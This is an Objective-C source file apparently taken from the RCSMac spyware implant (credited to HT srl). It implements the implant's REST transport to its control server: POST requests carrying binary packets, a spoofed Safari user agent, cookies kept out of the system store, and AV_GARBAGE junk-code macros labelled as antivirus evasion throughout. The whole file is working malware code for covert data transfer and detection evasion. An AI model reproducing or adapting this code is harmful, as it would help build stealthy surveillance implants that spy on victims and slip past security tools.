core/Modules/RESTTransport.m
/*
* RCSMac - RESTTransport
* Transport implementation for REST Protocol.
*
*
* Created by revenge on 13/01/2011
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "RCSMCommon.h"
#import "RESTTransport.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
#define USER_AGENT @"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4"
@implementation RESTTransport
- (id)initWithURL: (NSURL *)aURL
onPort: (int32_t)aPort
{
if (self = [super init])
{
// AV evasion: only on release build
AV_GARBAGE_002
if (aURL == nil)
{
// AV evasion: only on release build
AV_GARBAGE_003
[self release];
return nil;
}
if (aPort <= 0)
{
// AV evasion: only on release build
AV_GARBAGE_003
[self release];
return nil;
}
mURL = [aURL copy];
mCookie = nil;
// AV evasion: only on release build
AV_GARBAGE_002
return self;
}
// AV evasion: only on release build
AV_GARBAGE_001
return nil;
}
- (void)dealloc
{
[mURL release];
[mCookie release];
// AV evasion: only on release build
AV_GARBAGE_002
[super dealloc];
}
// Abstract Class Methods
//- (BOOL)connect;
//{
//#ifdef DEBUG_TRANSPORT
//infoLog(@"URL: %@", mURL);
//#endif
//return YES;
//}
//- (BOOL)disconnect
//{
//return YES;
//}
// End Of Abstract Class Methods
- (NSData *)sendData: (NSData *)aPacketData
returningResponse: (NSURLResponse *)aResponse
{
// AV evasion: only on release build
AV_GARBAGE_003
NSMutableURLRequest *urlRequest = [[NSMutableURLRequest alloc] initWithURL: mURL];
NSData *replyData;
// AV evasion: only on release build
AV_GARBAGE_002
[urlRequest setTimeoutInterval: 10];
[urlRequest setHTTPMethod: @"POST"];
[urlRequest setHTTPBody: aPacketData];
// AV evasion: only on release build
AV_GARBAGE_005
[urlRequest setValue: @"application/octet-stream"
forHTTPHeaderField: @"Content-Type"];
// AV evasion: only on release build
AV_GARBAGE_006
[urlRequest setValue: USER_AGENT
forHTTPHeaderField: @"User-Agent"];
// AV evasion: only on release build
AV_GARBAGE_008
//
// Avoid to store cookies in the cookie manager
//
[urlRequest setHTTPShouldHandleCookies: NO];
// AV evasion: only on release build
AV_GARBAGE_007
if (mCookie != nil)
{
// AV evasion: only on release build
AV_GARBAGE_003
[urlRequest setValue: mCookie
forHTTPHeaderField: @"Cookie"];
}
// AV evasion: only on release build
AV_GARBAGE_006
replyData = [NSURLConnection sendSynchronousRequest: urlRequest
returningResponse: &aResponse
error: nil];
[urlRequest release];
// AV evasion: only on release build
AV_GARBAGE_005
if (aResponse == nil)
{
// AV evasion: only on release build
AV_GARBAGE_003
return nil;
}
NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse *)aResponse;
// AV evasion: only on release build
AV_GARBAGE_004
NSDictionary *headerFields = [httpResponse allHeaderFields];
// AV evasion: only on release build
AV_GARBAGE_006
// Handle cookie
NSString *cookie = [headerFields valueForKey: @"Set-Cookie"];
if (cookie != nil)
{
// AV evasion: only on release build
AV_GARBAGE_002
if (mCookie != nil)
{
[mCookie release];
}
// AV evasion: only on release build
AV_GARBAGE_003
mCookie = [cookie copy];
}
int statusCode = [httpResponse statusCode];
// AV evasion: only on release build
AV_GARBAGE_002
if (statusCode == 200)
return replyData;
else
return nil;
}
@end